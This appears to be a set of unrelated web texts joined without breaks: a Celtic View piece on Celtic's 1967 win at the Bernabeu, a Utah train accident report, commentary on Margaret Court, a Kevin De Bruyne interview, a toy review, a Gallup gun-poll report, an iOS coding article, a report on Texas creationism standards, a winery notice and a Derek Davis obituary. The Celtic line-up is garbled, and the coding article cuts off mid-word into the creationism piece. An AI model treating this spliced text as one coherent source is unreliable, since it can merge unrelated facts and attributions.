Anna McMillanSource:Celtic View16 November 2005They assumed they would also have the trophy in the Bernabeu Stadium in 1967, but Celtic had other ideas. It appears that Real were rather ‘put out’ by Celtic winning ‘their’ trophy, with the Spanish press claiming that the European Cup belonged in Madrid. So it is understandable that, when choosing an appropriate team to honour the great Di Stefano, Celtic were approached and, indeed, were thrilled to accept the challenge.The sides had met back in 1963, with Celtic losing 3-1 in a charity game in Glasgow. On June 7, 1967, just two weeks after they won the European Cup in Lisbon, Celtic took on Real Madrid at the Bernabeu. There was one change from the Lisbon team, with John Fallon replacing Ronnie Simpson in goal.Di Stefano played for 20 minutes of the game and received a standing ovation from the 120,000 supporters inside the stadium when he left the pitch. Neither side played as one might expect in a friendly match, but instead competed fiercely to win the match. And taking centre stage on the night was Jimmy Johnstone, whose skill and artistry completely mesmerised the Madrid players.Indeed, such was the brilliance of Jinky that the Spanish support cheered him, shouting ‘Ole!’ whenever he was on the ball. Despite many discussions during my tours here at Celtic Park, when a good few men advised me that it was Jinky who scored the only goal of the game, such was the magnificence of his performance that night, it was, in fact, Bobby Lennox who netted the winner.It is also fitting to say that Alfredo Di Stefano had been in Lisbon for the European Cup and had apparently gone to Celtic’s hotel to wish Jock Stein all the best for the game against Inter Milan. It could be that it was during this game that the great man decided the famous green and white hoops would be the perfect opponents to celebrate his own wonderful football career.It was a fantastic night in Madrid. Just when we thought it couldn’t get any better, here was the icing on a big, fat, beautiful cake.Junqera, Calgne, De Feilipe, Sanchis, Pirri, Zoco, Serena, Amancio, Di Stefano (Grosso), Velasquez,Gento. Lennox Subs: Simpson Lennox 69120,000S Zariqulegui (Spain)“Winning the European Cup was the making of the club. After that everyone knew about Celtic. We even beat Real Madrid two week later. They’d won it the previous year and they kept saying they were the real champions, but we went a beat them 1-0 on their own patch in front of 135,000 people.”“It was Di Stefano’s testimonial. It was a fantastic evening and the game was very competitive. Bobby Lennox scored the goal for us – and afterwards there could be no doubt that we could be called true European Champions."'Without a shadow of a doubt that was my best game for Celtic. With a quarter of an hour to go, none of them would come near me.'''But the Scotsman who gave me the most trouble was Bobby Lennox of Celtic. My testimonial at the Bernabeu was against Celtic as, of course, they were the champions of Europe in 1967 and, although I remember the Bernabeu rising to Jimmy Johnstone, I admired Lennox greatly.''"I had hundreds of great moments in football, including scoring Scotland's second goal in our 3-2 win over England at Wembley in 1967. It's hard to pick a defining moment, although it would need to be from the same year when Celtic won the European Cup in Lisbon. Which moment to choose, though? That's even more difficult.Was it when the final whistle went after we'd beaten Inter Milan 2-1? Or was it when we got back to our hotel to kickoff our celebrations? No, I think I'd have to go for our homecoming, because it wasn'twe got back to Glasgow that the worth of what we'd achieved began to sink in."The funny thing is, I can't even remember where we landed: Glasgow Airport or the old one at Renfrew.What I do remember is that hordes of folk lined the route all the way back to Celtic Park, where there must have been another 60,000 fans waiting to greet us. The atmosphere was fantastic. So many people were still outside later thatwe couldn't leave by the front door. I've still got a of me going across the pitch to escape via the Janefield Street exit."We soon went to Madrid to play in Alfredo di Stefano's testimonial and the papers were full of how Real Madrid would show they were the best in Europe. We won 1-0. Who scored? Err, Lennox, after Wee Jimmy Johnstone had beaten about 14 opponents."Evening Times 7th June 1967Evening Times 8th June 1967"Di Stefano had come to Lisbon and wanted the winners of the final to play in his game and I am glad it was us because it was the greatest game I ever played for Celtic," Johnstone said. Celtic won 1-0, with Johnstone threading a pass to his great friend, Bobby Lennox, for the winner.ONLY a genuine icon can strike a true iconic image. Jimmy Johnstone certainly filled that description and when he lifted the ball above his head in the centre circle at the Santiago Bernabeu Stadium in July 1967, it was one of those moments that stick in the memory forever.In that famous football arena in Madrid more than 100,000 Spaniards rose to hail an individual performance by a player who had managed to steal their hero's thunder.Di Stefano was round by then but he played for the first 10 minutes before he said adios to the Bernabeu for one last time. Even the Celtic players were in tears as he made his way off the pitch. Then in Di Stefano's own words it became "The Jimmy Johnstone show".Do yourself a favour and try to get a hold of the video. It is not an exaggeration to say Jinky took on Real Madrid all on his own that night.One particular player, Amancio, tried to do what just about every defender did and detach Jimmy's legs from the rest of his body. That just made him play better.And one moment in the match was almost beyond belief. After dribbling past three Real Madrid players, he stopped, stood on the ball and just for a bit of fun went back to beat them again.Celtic won the game. Jimmy danced his way past five players before releasing an inch-perfect pass which sent his great friend Bobby Lennox through to score. Years later Bobby Murdoch, another Lion who left us too early, said: "It was amazing. The wee man was unbelievable that night. He had 100,000 Spaniards shouting “ole”. I couldn't believe it."I'm sure the president of Real Madrid spoke to Big Jock after the game and asked to buy the No.7. There would have been something wrong if he hadn't."James Farrell, a Celtic director, revealed that at the post-match banquet, Di Stefano gathered his former Real compadres - Francisco Gento, Ferenc Puskas and Jose Santamaria - beside him for a photograph. Then he asked for Johnstone. "He was recognising that Jimmy was in their class," Farrell said. "They were great players, but he was their equal."ROY — The man hit by a FrontRunner train coming to a stop Tuesday morning was apparently not paying attention when the train struck him, police said.
The man, 36, had gotten off the northbound train shortly after 7:45 a.m., walked across the southbound tracks and did not see the train approaching, Roy Police Sgt. Shane Hubbard said.
The man "was not paying attention and then the southbound FrontRunner train conductor was blowing his horn and everything trying to get his attention," Hubbard said. "The pedestrian looked at the last second and couldn't get out of the way in time."
The train was slowing down when it hit the man, said UTA spokesman Remi Barron.
Medical crews and police responded to treat the man who received "severe head trauma, torso trauma and both legs trauma," Hubbard said.
Police were unable to confirm the man's identity and reported he was listed in extremely critical condition Tuesday night.
Investigators were unsure whether the man was wearing headphones when he was hit.
The accident happened less than 24 hours after a woman was hit and killed by a northbound TRAX train about 4:30 p.m. Monday, just north of the Ballpark station at 180 W. 1300 South.
The woman had come in contact with UTA officers 30 to 40 minutes before she was hit, Barron said. She was intoxicated, so officers took her to a detox center.
"Unfortunately, she did not stick around very long," he said.
One of the officers who helped the woman earlier responded to the TRAX accident and recognized the woman.
The woman's identity has not been released. Officials believe that the woman was homeless and have had difficulty contacting her family.
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Related StoriesThe Margaret Court thing? Her comments that she refuses to fly Qantas anymore in protest at Qantas CEO's advocacy of same-sex marriage? Simply sad. She embarrasses herself. Her remarks are consistent with other homophobic comments she has made over the years - "To legitimize what God calls abominable sexual practices that include sodomy, reveals our ignorance as to the ills that come when society is forced to accept law that violates their very own God-given nature," – and no great surprise.
"I am disappointed that Qantas has become an active promoter for same sex marriage," Ms Court said in a letter to the editor published in The West Australian on Thursday. "I believe in marriage as a union between a man and a woman as stated in the Bible. Your statement leaves me no option but to use other airlines where possible for my extensive travelling."
Given Virgin Australia also is a promoter of Same Sex Marriage, that leaves her pretty grounded as far as I can see, which is to the good. (Still, can someone check if Greyhound Buses have a policy on this? I'll bet they are in the 21st century, too, so Ms Court might have to ban them, too?)
Meantime, though, what I'd love her to explain is how it is, if her God is so firmly against gays, why he made them in the first place? And if you're citing the bible, can you answer Dom Knight's question and explain why YOU, as a Pastor, get an exemption from 1 Timothy 2: "I do not permit a woman to teach?" Or is it OK to ignore bits that apply to you?Kevin De Bruyne tells Jamie Redknapp that he is really enjoying his time at Manchester City and can see himself staying for a long time Kevin De Bruyne tells Jamie Redknapp that he is really enjoying his time at Manchester City and can see himself staying for a long time
Jamie Redknapp sat down with Kevin De Bruyne in a Match Zone special for an in-depth look at the player's many traits ahead of Manchester City's clash with Arsenal at the Emirates on Sunday, live on Sky Sports Premier League.
De Bruyne joined City from Wolfsburg in August 2015 for a fee of £54.5m and has become a standout performer, contributing 25 goals and 46 assists in just 105 games in all competitions.
The Sky Sports pundit caught up with De Bruyne in the Nissan Match Zone booth to dissect his new position, his sublime passing skills, why he likes assisting more than scoring and how Pep Guardiola has taken his game to a new level...
'Pep hates the word possession'
On Guardiola's brand of football
"It is possession with a meaning. He [Guardiola] hates the word possession where we just play it at the back with the goalkeeper.
"He does not like it where you just pass it to pass it, only at the end to kill games off, and for the rest there is really something behind it."
Kevin De Bruyne tells Jamie Redknapp that he is really enjoying his time at Manchester City and can see himself staying for a long time Kevin De Bruyne tells Jamie Redknapp that he is really enjoying his time at Manchester City and can see himself staying for a long time
De Bruyne's favourite position
Is the playmaker better on the flanks, as a No 10, or in a deeper midfield role?
"As a kid, I mostly played as a No 10. When I was really young, I played as a striker. But I grew a lot when I was older and when I was 15, 16 I had a big growth and so I changed a little bit and became slower.
"But I always had a feeling when I was younger it is going to be the No 10 or a little bit where I am playing now (deeper).
"When I was first at Genk they asked me, 'what position are you thinking?' And I just gave three options: On the left, where I was playing that time in a 4-4-2, in the No 10, or where I am playing now.
"I always said that the older I get, I will go more backwards and it is becoming that way!"
De Bruyne on form and life under Pep Guardiola at City De Bruyne on form and life under Pep Guardiola at City
Role reversal?
The Belgian used to play higher up the pitch, but is now getting the ball off his own back four and starting attacks from a deep position...
"The main thing that changed is before I had more waiting, but now I am more creating. You can swap positions, but everybody has to be in his position again. So that is clear.
"And now you can do whatever you want, you can go inside, outside. He [Guardiola] just likes you to finish, shoot or create something, not that you get a chance like a counter against you."
Pep Guardiola like his players to "finish, shoot or create," says Kevin De Bruyne
'I like to assist more than scoring'
De Bruyne has 24 Premier League assists since joining City in August 2015 - more than any other player
"It brings a lot of enjoyment because it means you are doing good things. I always like to assist more than scoring, it gives me another feeling, I cannot explain it.
"When you score, it is obviously a great feeling, but to give a great pass is also something special for me. I think it is also very under-rated sometimes what we do."
De Bruyne says he has always preferred to provide his team-mates with assists, rather than scoring goals himself De Bruyne says he has always preferred to provide his team-mates with assists, rather than scoring goals himself
'Like LeBron, I try to make the best play for the team'
De Bruyne's favourite pass this season was for Sane in City's 7-2 thrashing of Stoke in October
"It is one of my favourite passes because the difficulty of that pass is very big because you have to bend it round the player. I see Leroy running and I think there is an open space.
"It is also very difficult for the goalkeeper to come there because the ball is going in the other direction. And if Leroy goes before [Jack] Butland, it will probably be a penalty. If it is a straight pass, then you will not be able to make it and sometimes it is about making choices.
"I am a big NBA fan where a lot of players play on physicality. But I am a big LeBron [James] fan and he can do whatever he wants. But he always tries to make the best play for the team and that is what I want to do."
De Bruyne talks Redknapp through his superb assist for Leroy Sane against Stoke De Bruyne talks Redknapp through his superb assist for Leroy Sane against Stoke
'With the amount of goals we are scoring, I do not care!'
De Bruyne scored seven goals in total last season and has only two so far this campaign
"I try to get more goals, but I am not particularly looking at that. The first season I was here, I scored 16 and I never did that. I came in a lot of situations where I had the opportunities to score.
"Now it is more difficult because it is long-range shooting and last year all my long-range efforts hit the post or bar. And then it is more like luck or no luck if it is the inside or the outside of the post.
"It happens, I try to chip in, but I also know that with the amount of goals we are scoring, I do not really care!"
4:57 Neville's warning for Man City Neville's warning for Man City
'This is Guardiola's masterpiece of football'
De Bruyne has more successful passes in the final third than anyone else this season
"We always play boxes (in training), five v two, or six v two, and for him [Guardiola] this is the masterpiece of football. If you can do that good, then you can play good in a game because it is small based.
"We are not allowed to do back heels, so it is always good, simple passes and he wants the guys in the middle to let them run. If you get 60 passes, they are going to run and he loves it. And it is something that is very important for him to put in our game."
Average number of forward passes by De Bruyne Season Ave no of pasases 2015/16 29 per game 2016/17 33 per game 2017/18 46 per game
See the exclusive Nissan Match Zone interview with Kevin De Bruyne at 8pm on Sky Sports Premier League on Friday and watch Man City versus Arsenal on Sky Sports Premier League from 1pm on SundayMy boys are crazy about Thomas & Friends and the love the new Spills & Thrills DVD. It gets watched several times a week while they are busy playing with their trains! We have quite a collection of Fisher Price Take n Play sets for their engines, so they were very happy to get the chance to try out the newest addition to the Take n Play collection – Fisher-Price Take-n-Play Spills and Thrills on Sodor and the Fisher-Price Take-n-Play Stephen Engine
This set is a very exciting looking tall structure with a super fast track for the engines to race down! It need some minor assembly once it comes out of the box, but it’s just a case of clicking all the pieces into place.
Once the track is assembled, you need to learn it against the wall to give it the right angle. The track is not intended to stand upright on it’s own. It needs the lean to give it a slight slant so that the engines can race down properly.
There are plenty of twists and turns and the track includes a signal on the track, a drawbridge, a zip-line, and paint shed destination, which comes with a special clip on paint costume for Thomas!
This attaches to his front via magnet and allows your child to recreate the scenes were Thomas gets covered in paint! Mr R found it so funny to cover Thomas with the special green paint! The set grabbed all of the boys attention straight away and they have been playing with it daily.
They love to make up little stories as they ride the trains around on the track, both stories from the Spills & Thrills DVD and their own original little stories. There’s enough space for two at a time to play with the Spills & Thrills track, but they can connect their other take n play tracks from the end of this track and make a much larger play space, as they are all compatible. This really allows them to expand their play.
The set is portable, you can pick it up from the top and move it around but I did find that it’s best just to keep it in one place really otherwise you might need to just pop some of the bits back in. Compared to some of the earlier take n play sets which we have, this one definitely does not have the “compactness” of being able to fold it down tiny and take it in your hand bag to keep the kids entertained while visiting relatives or friends, but it is a great toy for at home and the kids love it.
All of the Take n Play die cast engines are compatible with the Take n Play sets. We were sent a Stephen engine too, which made Mr T so happy – Stephen is his favourite engine ever! The take n play engines are all great quality. Ours take a lot of wear and tear from the boys especially as Mr T and Mr R love to take them outside with them wherever we go, but they always stay looking just like new.
There are loads and loads of engines available in the Take-n-Play series, and they are pretty reasonable priced for kids to collect them all.
If your kids are fans of Thomas they would definitely love this new Take-n-Play Spills and Thrills set, and I’m happy to recommend it!Story Highlights More than nine in 10 Americans favor mandatory background checks
Waiting periods and gun registration also favored by most U.S. adults
Gun owners support checks and waiting periods, but not registration
WASHINGTON, D.C. -- The great majority of Americans are in favor of more stringent regulation of the sale and ownership of guns in three ways that go beyond current law in most states. U.S. adults offer near-universal support for requiring background checks for all gun purchases, backed by 96%. Also, three-quarters favor enacting a 30-day waiting period for all gun purchases and 70% favor requiring all privately owned guns to be registered with the police.
Americans' Support for Stricter Gun Regulations Favor Oppose No opinion % % % Requiring background checks for all gun purchases 96 4 * Enacting a 30-day waiting period for all gun sales 75 24 1 Requiring all privately owned guns to be registered with the police 70 29 1 * = less than 0.5% Gallup, Oct. 5-11, 2017
These findings come from Gallup's Oct. 5-11 Crime poll, conducted just days after 58 people were killed in a mass shooting in Las Vegas on Oct. 1 -- the deadliest mass shooting in modern U.S. history.
In addition to the three proposals aimed at tighter gun regulations, the same poll also found Americans evenly divided on an assault weapons ban -- after opposing it last year -- and largely opposed to an outright ban on handguns.
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Gun Owners Join Non-Gun Owners in Supporting Background Checks
Although federal law requires background checks for most gun purchases, the so-called "gun show loophole" waives the requirement if the seller only sells guns as a side business. Some states have passed laws closing this loophole, but most have not.
Still, gun owners match non-gun owners in support for making background checks a blanket requirement for gun purchases, with 95% and 96%, respectively, in favor.
This is the first time Gallup has measured support for background checks using the current question wording. However, posing a slightly different question in 2015 that specified the law would use a "centralized database across all 50 states," Gallup found 86% in favor of universal background checks for all gun purchases. Additionally, a 1999 Gallup question that measured support for mandatory background checks, including purchases made at gun shows, found 87% of Americans in favor.
Extended Waiting Periods Have Long Been Favored
Advocates of a 30-day waiting period for all gun sales argue that it would give law enforcement the time needed to conduct thorough background checks on prospective buyers, as well as thwart impulse crimes. However, there is currently no federal waiting period beyond the three days typically required for background checks, and only a handful of states plus the District of Columbia have their own waiting periods.
Despite the major change that a mandatory 30-day waiting period would entail, a majority of gun owners (57%), as well as the vast majority of non-gun owners (84%), favor the proposal.
This is the first time Gallup has measured public support for a 30-day waiting period. However, in 1981, shortly after President Ronald Reagan was shot in an attempted assassination, 91% of U.S. adults favored a proposed 21-day waiting period "to check to see if the prospective owner has a criminal record or has been in a mental institution."
Gun Registry Divides Gun Owners, Favored by Most Others
Gun registration is the only gun regulation proposal among the three tested in the latest poll on which gun owners and non-gun owners are on opposite sides. Although 70% of Americans favor requiring privately owned guns to be registered with the police, gun owners tilt against this -- 48% in favor and 52% opposed. At the same time, 82% of non-gun owners favor it.
A similar Gallup question in 1999 found 79% of Americans in favor of "the registration of all firearms" as a means of reducing the amount of gun violence.
There is currently no federal gun registry, although a few states have implemented registration of some or all types of firearms.
Bottom Line
Americans broadly support three proposals for new laws that would make it harder for guns to get into the wrong people's hands, or that would allow law enforcement to track gun possession. This comes at a time when public support for stricter gun laws in general is the highest Gallup has recorded in more than a decade. However, similar Gallup questions in the past about universal background checks, lengthy waiting periods and gun registration have produced similarly high public support.
In essence, while Americans clearly want to maintain individuals' right to own guns -- evidenced by their widespread opposition to banning handguns -- they are perfectly amenable to asking gun purchasers to endure some inconveniences or even encroachment on their privacy in the interest of public safety. Passing laws requiring background checks for all gun purchases and 30-day waiting periods is theoretically viable, since even most gun owners favor these proposals. Enacting gun registration, on the other hand, is more daunting given the resistance by a majority of gun owners.
Survey Methods Results for this Gallup poll are based on telephone interviews conducted Oct. 5-11, 2017, with a random sample of 1,028 adults, aged 18 and older, living in all 50 U.S. states and the District of Columbia. For results based on the total sample of national adults, the margin of sampling error is ±4 percentage points at the 95% confidence level. All reported margins of sampling error include computed design effects for weighting. Each sample of national adults includes a minimum quota of 70% cellphone respondents and 30% landline respondents, with additional minimum quotas by time zone within region. Landline and cellular telephone numbers are selected using random-digit-dial methods. View survey methodology, complete question responses and trends. Learn more about how the Gallup Poll Social Series works.Single Responsibility Principle & iOS
View Controllers in iOS: we need to talk. You are—without a shadow of a doubt—the worst offender of the Single Responsibility Principle, and that needs to stop.
First, some background
The Single Responsibility Principle or SRP, is defined by Robert Martin (or, more affectionately, “Uncle Bob”) in his book Agile Software Development as the following:
A class should have only one reason to change.
This differs from what one might expect the Principle to prescribe. Personally, I had assumed it to mean that a class should have only one reason to act. While this is not a terrible interpretation, it lacks empathy for the software team. By focusing on why the class might have to be changed, the SRP allows us to think of how we interact with the code in the present instead of requiring us to project our minds onto the software’s future running environment. This, I believe, is an important, and freeing, distinction.
An Example
Let’s concoct an example where we need to download a file from our own server. Sure, we could use AFNetworking, but let’s assume it doesn’t yet exist. A naïve approach might have the following interface:
@interface Downloader - ( void ) download :( NSString * ) path withSuccess :( void ( ^ )( id resp )) success ; @end @interface Downloader () - ( void ) buildRequestObject ; - ( void ) start ; - ( void ) dataChunkWasReceived :( NSData * ) data ; - ( void ) downloadDidFinish ; - ( void ) closeSession ; @end
Why might we ever want to change this class? I can think of two reasons immediately. First, our operations team may have added SSL/TLS, and we must use a custom certificate. Second, our server application team may add JSON as a MIME type and intend to deprecate SOAP (fistpump). In this situation, the Single Responsibility Principle advises us to turn our Downloader class into a Facade for DownloaderConnection and DownloaderParser classes… or class extensions if you wish.
@interface DownloaderConnection () // or @interface Downloader (Connection) - ( void ) buildRequestObject ; - ( void ) start ; - ( void ) closeSession ; @end @interface DownloaderParser () // or @interface Downloader (Parser) - ( void ) dataChunkWasReceived : ( NSData * ) data ; - ( void ) downloadDidFinish ; @end
Now we know where to attack a changing business requirement such as “let’s use an internal server if we’re on the company WiFi.”
The 900-Line Problem
If you’ve had any exposure to sample code, template code, or production code for iOS, your brain has already made the connection to how View Controller usage usually ignores SRP completely. For those without such exposure and for those of us who like counting our scars, let’s enumerate some reasons why we might need to change a View Controller:
The API to our datastore changed.
A UIActionSheet needs to be converted to a full-blown popover or presentation view.
An animation needs tweaking.
A new business requirement where we need to capture a phone number of a contact in an ABPeoplePickerNavigationController instead of just an email.
instead of just an email. The “save” button needs stricter validation.
Tapping a particular button needs to trigger a different selector.
The position of a subview requires a complex calculation that has many edge cases, many of which are not yet discovered.
And myriad other reasons relating to the domain of the application.
The end result of all of these loci of change can be characterized as a 900-line file of application and business logic in a form much resembling spaghetti. And perhaps “900 lines” is too charitable.
The only type of file that may have 900 lines is one that is never intended for human consumption—binary files and database dumps being the prime examples. Using #pragma mark - is indicative of a failure to adhere to the Single Responsibility Principle and is a signpost for poor code.
A Heuristic Approach
Faced with such a daunting task, we as a community may throw—and indeed have thrown—in the towel. “It’s just code,” we might say. “As long as it works, the architecture shouldn |
for allowing creationist views into the classroom.
However, additional amendments that were voted through provide loopholes for creationist teaching. “It’s as if they slammed the door shut with strengths and weaknesses, then ran around the house opening windows to let it in a bunch of other ways,” says Dan Quinn, who was on site at the hearings. Quinn is communications director of the Texas Freedom Network, a community watchdog organisation.
One amendment calls for students to “analyze and evaluate scientific explanations concerning the complexity of the cell,” phrasing that rings of intelligent design arguments.
Another amendment requires students to “analyze and evaluate scientific explanations concerning any data on sudden appearance and stasis and the sequential groups in the fossil record.” These issues are commonly held up by creationists as arguments against evolution, even though the scientific community disagrees.
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Anti-evolutionist Don McLeroy, a dentist and chair of the Texas State Board of Education, testified at Friday’s hearing: “I disagree with these experts. Someone has got to stand up to experts.”
Age of the universe
An amendment to the environmental sciences standards requires students to “analyze and evaluate different views on the existence of global warming”, despite overwhelming consensus within the scientific community that global warming exists.
An amendment to the Earth and space sciences curriculum requires the teaching of different theories of the origin, age and history of the universe. The board voted to remove from the standards the statement that the universe is roughly 14 billion years old.
“The goal here was to make science more tentative and vague so that teachers have room to tell students, ‘This is only one explanation and the scientists are not even sure about it themselves’ – which is, of course, utter nonsense,” says Quinn.
School textbooks are required to comply with a state’s science standards, so all changes to the science standards translate into changes to textbooks. In two years, the board will meet to review the state’s textbooks, so creationists have been eager to slip in changes to the standards ahead of time.
Influential state
Texas is one of the largest purchasers of textbooks in the US, a market publishers can’t afford to lose. So they will likely have to water down the science in their books and add in creationist pseudo-science to appease the school board. “If the publishers don’t come back with arguments against natural selection and common descent, the board is going to vote to reject those textbooks,” Quinn says.
What’s more, while the “strengths and weaknesses” language was rather vague, the new amendments provide publishers with a very specific roadmap for what they have to include in their textbooks. “It will be much harder for publishers to fudge,” says Quinn.
Creating a Texas-only edition of a biology textbook would be expensive, which means other states would probably end up having to use the same scientifically inaccurate textbooks. “Many publishers are in dire economic straits these days, so the added expense of making a special edition for one state is not something they would be eager to take on,” says Steven Newton of the National Center for Science Education. “I think it’s likely this would affect other states.”
“We’re going to be watching and we will make sure that if the textbooks include junk science, that people know about it,” Quinn says. “If other states reject these books, publishers might stop publishing for Texas because it’s so expensive.”
Discovery ties
If that happens, other publishers more friendly to intelligent design (ID) might fill the breach. The Discovery Institute, the Seattle-based headquarters of the ID movement, for example, has already published its own biology textbook entitled Explore Evolution: The arguments for and against Neo-Darwinism.
The book does not explicitly mention ID, but presents its standard arguments, arguments that are precisely in line with those adopted in the new standards. That may be no coincidence: one of the co-authors of the book, Ralph Seelke, was chosen by McLeroy to serve as an expert curriculum reviewer for the Texas board. So too was Stephen Meyer, director of the Discovery Institute’s Center for Science and Culture. The Discovery Institute’s Casey Luskin also testified at the board meeting, saying, “We urge you to make students aware of these scientific debates.”
“The Discovery Institute is in this up to their eyeballs,” says Barbara Forrest, a philosophy professor at Southeastern Louisiana University and an expert on the history of creationism. “They are heavily invested in what happens in Texas.” In fact, McLeroy has been working with Discovery Institute fellow Walter Bradley, a Texan, since at least 2003 to promote changes to the biology textbooks.
Academic freedom
Texas creationists had already crafted a back-up plan in case Friday’s school board vote didn’t go their way.
Republican House Representative Wayne Christian has drafted a piece of legislation (House Bill 4224) that proposes to add the “strengths and weaknesses” language back into the standards.
What’s more, if passed, the bill would protect students from being “penalized in any way because he or she subscribes to a particular position on scientific theories” and allow teachers to help students to “understand, analyze, review and critique scientific explanations, including hypotheses and theories, as to their strengths and weaknesses using scientific evidence and information.”
The bill is the latest in a series of “academic freedom bills” that have been proposed throughout several states in the US. Most have failed – in Oklahoma, New Mexico and Iowa they were quickly killed off, while in Missouri, Alabama and Florida such bills are still pending.
Last year, Louisiana became the first state to sign an academic freedom bill into law. If the same thing happens in Texas, it could be extremely detrimental to science education in that state and beyond.
‘Subjective’ science
“It would essentially override the school board’s vote to insert the ‘strengths and weaknesses’ language back into the standards,” says Newton. “Telling a student that they can’t be penalized grade-wise because they subscribe to a specific opinion on science – that will be a big problem. It opens science up to being a relative thing.”
“And you can imagine a teacher thinking, ‘I’ll have a potential lawsuit from this student if I grade them down, so I’m not even going to touch on controversial topics like evolution, the age of the Earth, the formation of the solar system, etc.,'” Newton told New Scientist. “Everyone still has in their minds that figure of a million dollars that the Dover school district had to pay out [in legal fees after an intelligent design trial], and that’s a powerful thing.”
The academic freedom legislation is the brainchild of the Discovery Institute and the promoters of the film Expelled, a pro-intelligent design “documentary” in which former Nixon speech writer Ben Stein argued that Darwin’s theory of evolution led to the Holocaust.
‘Pushing the legal envelope’
Experts suspect that strategically, the Discovery Institute actually wants teachers to be prosecuted in a Dover-style court case, and that they are using the proposed Texas academic freedom bill to lure teachers into a legal trap by encouraging them to bring religious ideas into the classroom.
“Teaching creationism or ID has been repeatedly found to be unconstitutional,” Forrest says. “These bills cannot supersede the constitution and will not protect the teachers from litigation.”
“The Discovery Institute is pushing the legal envelope and inviting litigation because they have been shopping around for years for the right judicial district in which they could win this kind of case,” she told New Scientist. “They need a district where they can control the people on the ground, as they do in Texas. They want a ruling that conflicts with Dover in a different judicial district, because that would be the most likely scenario in which the Supreme Court would hear a case. That is exactly what they want.”
Insurance salesmen
Meanwhile, pro-science legislators are also doing their best to fight these actions. Senator Rodney Ellis and House Representative Garnet Coleman – both Democrats from Houston, Texas – have introduced legislation (Senate Bill 440 and House Bill 3382, respectively) that would transfer authority for textbook adoptions and curriculum approval from the Board of Education to the Texas Education Agency.
“When you have dentists and insurance salesmen and attorneys deciding what students should learn about science in a public school classroom, you’ve got a problem,” says Quinn.
And elections for the members of the Board of Education will be held next year, so voters could potentially get more science advocates on the board before the textbook reviews the following year.
Science took some blows in Texas on Friday, but the battle isn’t close to over, and Quinn, for one, is optimistic that people will continue to fight the good fight. “When you have an elected body doing everything it can to undermine the education of your kids and making it harder for them to compete and succeed in the 21st century,” he says, “that’s when people take notice and stand up.”Catch the Crush @ Antolin Cellars
During Yakima Valley’s annal Catch the Crush harvest event, Premier Pass holders at AntoLin Cellars will waived tasting fees. Tasting fee also waived with 12-bottle case purchase of our Brandon’s Board Oh! (Bordeaux Blend). Kick off the weekend Friday night, 10/12, with live music by David Douglas. Music starts at 7pm, No Cover. While you’re tasting Friday, Saturday, and Sunday, have food delivered to your table by Local Purveyors. Art on display by Paul Henderson in their Tasting Room Gallery. Hours: Friday 1pm – 9pm, Saturday 1pm – 7pm, Sunday 12pm – 4pm. Tasty Art, Wine, Food and Music – Catch the Crush action at 14 N. Front Street!
The Tasting Room: Located in the historic Burlington Northern train station complex is AntoLinCellars’ new tasting room. When Northern Pacific Railroad created its depot at this location in 1884, Yakima City (now Union Gap) used teams of horses to slowly pull and roll the entire town to this location, known as Yakima’s birthplace.
In 2014 Tony and Linda Haralson moved the tasting room to this historic location. The couple sources riesling, viognier, cabernet sauvignon, merlot and syrahfrom Glacier, their 5-acre estate vineyard. Enjoy these single varietal wines while relaxing on the outdoor patio
Antolin Cellars
14 N. Front St
Yakima, WA 98908
antolincellars.comThe death has been announced of former RTE broadcaster Derek Davis, following a short illness.
The death has been announced of former RTE broadcaster Derek Davis, following a short illness.
Mr Davis (67) was rushed to St Vincent’s Hospital last night.
It’s understood that the former Live at Three host suffered a stroke and died this morning.
Last Sunday, Mr Davis, a well known RTE broadcaster, appeared on the Marian Finucane show where he spoke about his battle to lose weight and health issues.
His death was announced at noon today leaving many fans and former colleagues stunned.
Shortly after midday, RTE played Johnny Cash’s song, Folsom Prison Blues, in tribute as to Davis who regularly sang the song at social
RTE PRESENTERS THELMA MANSFIELD AND DEREK DAVIS. TV personality Derek Davis at home in Killiney. For Sunday Independent favourite share. Photo: Tony Gavin 24/1/02 Details of the Clarenbridge Oyster Festival were announced today 30th August at Guinness Storehouse. The festival marks the official start of the oyster season and takes place in the village of Clarenbridge from September 7th -9th 2001. Pic: Fennells Derek Davis in RTE series 'Out of the Blue' Derek Davis Pic: Mark Condren (2008) Derek Davi s on RTE Derek Davis Pic: Mark Condren (2008) Derek Davis Pic: Mark Condren (2010) Derek Davis Pic: Mark Condren (2010) Derek Davis Pic: Mark Condren (May 2010) Derek Davis Derek Davis celebrates after his team Glasdrumman fromCo Down beat Katherine Lynch's team Dromahair from Co Letrim in the Celebrity Bainisteoir Final in Parnell Park.KOBPIX NO FEE PIX Celebrity Bainisteoirs Derek Davis and Ray D'Arcy lead their teams into battle for the first Celebrity Bainisteoir quarter final. Ray D'Arcy's Rathangan GAA, Kildare are at home to Derek Davis' Glasdrumman, Down in the first round of the competition. The Celebrity Bainisteoir 2009 line-up: (l-r) John Waters, Andrea Roche, John McGuire, Ray D'Arcy, Derek Davis, Emma O'Driscoll, Katherine Lynch and George Hook. C The Celebrity Bainisteoir 2009 line-up: (l-r) John Waters, Andrea Roche, John McGuire, Ray D'Arcy, Derek Davis, Emma O'Driscoll, Katherine Lynch and George Hook. The 2009 line-up of Celebrity Bainisteoirs l-r (back) John McGuire, John Waters, George Hook, Katherine Lynch, Derek Davis, Emma O'Driscoll. Front l-r Andrea Roche, Ray D'Arcy. Derek Dav Picture; GERRY MOONEY. 5/3/09 Derek Davis Derek Davis Derek Davis in 2012
occasions.
The married father-of-three was hugely popular among radio and TV audiences, and presented popular daytime programme Live At Three in the 90s alongside Thelma Mansfield.
Mr Davis had worked for American network ABC and BBC Northern Ireland before moving to RTE.
He presented the Rose of Tralee on two occasions. In 1984, he introduced US President Ronald Reagan to a massive reception in Ballyporeen, Co Tipperary.
Sad news reaching us in the last few minutes that Derek Davis has passed away earlier this morning. RIP Derek. — Today Sean O'Rourke (@TodaySOR) May 13, 2015 So very sorry to hear that Derek Davis has died. A clever man, a wonderful broadcaster and a great colleague. RIP Derek. — Rachael English (@EnglishRachael) May 13, 2015
He suffered health problems in recent years but was always open and forthright on the subject.
Last year he underwent gastric surgery, after which he lost more than 100 pounds.
"I became a granddad. He was born at two pounds and when he survived, I thought 'Someone needs to teach this boy the important things in life, like picking a decent bottle of wine and casting a fly'. It was really his coming into this world that made me want to cling on a bit longer. I reckon I had about two years to go."
He underwent bariatric surgery with Dr Carel le Roux last July and had lost seven stone since. "I don't feel hungry, ever. I can't physically overeat because I am eating a child-size portion, but my taste buds are grand," he said.
Derek Davis
Read more: 'When the RTE exec said I was fat, I wanted to break his jaw'
